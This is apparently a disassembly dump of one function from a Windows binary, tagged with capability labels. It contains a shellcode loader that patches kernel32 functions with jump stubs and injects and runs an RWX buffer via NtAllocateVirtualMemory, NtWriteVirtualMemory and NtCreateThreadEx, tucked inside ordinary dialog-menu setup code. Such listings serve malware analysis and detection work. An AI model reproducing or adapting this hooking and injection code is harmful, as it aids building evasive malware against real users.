Function at 0x140004e00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140254018]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rsi, rcx
call fcn.14001c504
mov dword [rbp + 8], 0x2c
mov qword [rbp + 0xc], 2
xor r13d, r13d
lea rdx, [rbp + 8]
mov rcx, rsi
call fcn.14002b9a8
mov edx, 0x40000
lea r9d, [r13 + 1]
lea r8d, [r9 + 0x7f]
mov rcx, rsi
call fcn.14002e6c0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140004f13
lea rdx, [0x140222ba0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140004f13
mov word [rsp + 0x60], 0xb848
mov word [rsp + 0x6a], 0xe0ff
mov dword [0x140263084], 0xc
lea rax, [0x140003610]
mov qword [rsp + 0x62], rax
mov dword [rbp - 0x18], r13d
lea r9, [rbp - 0x18]
lea edx, [r13 + 0xc]
lea r8d, [r13 + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [rbx]
movsd qword [0x140263078], xmm0
mov eax, dword [rbx + 8]
mov dword [0x140263080], eax
movsd xmm0, qword [rsp + 0x60]
movsd qword [rbx], xmm0
mov eax, dword [rsp + 0x68]
mov dword [rbx + 8], eax
lea r9, [rbp - 0x18]
mov r8d, dword [rbp - 0x18]
lea edx, [r13 + 0xc]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140004fbb
lea rdx, [0x140222bb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140004fbb
mov word [rsp + 0x70], 0xb848
mov word [rsp + 0x7a], 0xe0ff
mov dword [0x140263074], 0xc
lea rax, [0x1400039a0]
mov qword [rsp + 0x72], rax
mov dword [rbp - 0x14], r13d
lea r9, [rbp - 0x14]
mov edx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8d, [rdx + 0x34]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [rbx]
movsd qword [0x140263068], xmm0
mov eax, dword [rbx + 8]
mov dword [0x140263070], eax
movsd xmm0, qword [rsp + 0x70]
movsd qword [rbx], xmm0
mov eax, dword [rsp + 0x78]
mov dword [rbx + 8], eax
lea r9, [rbp - 0x14]
mov r8d, dword [rbp - 0x14]
mov edx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000505e
lea rdx, [0x140222c00]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000505e
mov word [rbp - 0x80], 0xb848
mov word [rbp - 0x76], 0xe0ff
mov dword [0x140263094], 0xc
lea rax, [0x140003b50]
mov qword [rbp - 0x7e], rax
mov dword [rbp - 0x10], r13d
lea r9, [rbp - 0x10]
mov edx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8d, [rdx + 0x34]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [rbx]
movsd qword [0x140263088], xmm0
mov eax, dword [rbx + 8]
mov dword [0x140263090], eax
movsd xmm0, qword [rbp - 0x80]
movsd qword [rbx], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rbx + 8], eax
lea r9, [rbp - 0x10]
mov r8d, dword [rbp - 0x10]
mov edx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
call fcn.140003b90
mov dword [rbp - 0x48], 0x30
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x30], r13d
mov qword [rbp - 0x38], r13
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], r13
lea rdx, str.NtOpenProcess
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.NtWaitForSingleObject
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp - 8], r13
mov qword [rbp - 0x68], r13
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x48]
mov edx, 0x1fffff
lea rcx, [rbp - 0x70]
call rbx
cmp qword [rbp - 0x70], r13
je 0x1400051b1
lea rcx, [rbp - 8]
call fcn.1400054e0
mov rbx, rax
test rax, rax
je 0x1400051b1
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 8]
xor r8d, r8d
lea rdx, [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
call r14
mov qword [rsp + 0x20], r13
mov r9d, dword [rbp - 8]
mov r8, rbx
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
call r15
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x70]
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rbp - 0x60]
call r12
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x60]
call rdi
xor edx, edx
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
call fcn.14002f560
mov r14, rax
test rax, rax
je 0x14000524b
call fcn.14001d318
mov rcx, rax
test rax, rax
je 0x1400052b0
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp], rax
mov edx, 0x65
lea rcx, [rbp]
call fcn.1400042c0
mov rbx, qword [rbp]
cmp dword [rbx - 0x10], 0
je 0x14000522d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800
mov rcx, qword [r14 + 8]
call qword [sym.imp.USER32.dll_AppendMenuW]
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, qword [r14 + 8]
call qword [sym.imp.USER32.dll_AppendMenuW]
nop
mov eax, 0xffffffff
lock xadd dword [rbx - 8], eax
sub eax, 1
jg 0x14000524b
mov rcx, qword [rbx - 0x18]
mov r8, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov r9, qword [rsi + 0x170]
mov edx, 0x80
lea r8d, [rdx - 0x7f]
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9, qword [rsi + 0x170]
xor r8d, r8d
mov edx, 0x80
mov rcx, qword [rsi + 0x40]
call qword [sym.imp.USER32.dll_SendMessageW]
mov eax, 1
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140005870
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.140003d90
int3